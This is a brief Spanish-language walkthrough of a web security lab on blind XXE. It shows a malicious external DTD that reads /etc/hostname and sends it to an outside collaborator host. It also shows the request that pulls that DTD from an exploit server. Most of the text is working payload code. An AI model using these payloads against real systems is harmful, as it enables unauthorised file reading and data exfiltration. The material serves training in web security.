Skip to content

20251117114857.png

Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD

20251117115032.png

Para poder obtener el contenido de /etc/hostname, de utilizar el un servidor con un dtd malicioso debido a que el firewall bloquea al intentar leer algún archivo. Por lo que pondremos lo siguiente en el servidor atcante.

c
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://waal1f965sh4wkfhcwbv6rk26tck0do2.oastify.com/?x=%file;'>">
%eval;
%exfil;

20251117131541.png

Para luego enviar la solicitud con agregando el siguiente contenido. Esto hará una petición al servidor atacante con el el dtd malicioso el cual luego enviara el contenido de /etc/hostname al servidor final.

c
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0af2000403e3a103804ced5a017e0092.exploit-server.net/exploit"> %xxe;]>

20251117131753.png

Teniendo nuestra request de la siguiente manera:

c
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0af2000403e3a103804ced5a017e0092.exploit-server.net/exploit"> %xxe;]><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

}Al enviar la solicitud obtenemos el contenido del archivo /etc/hostname

20251117131814.png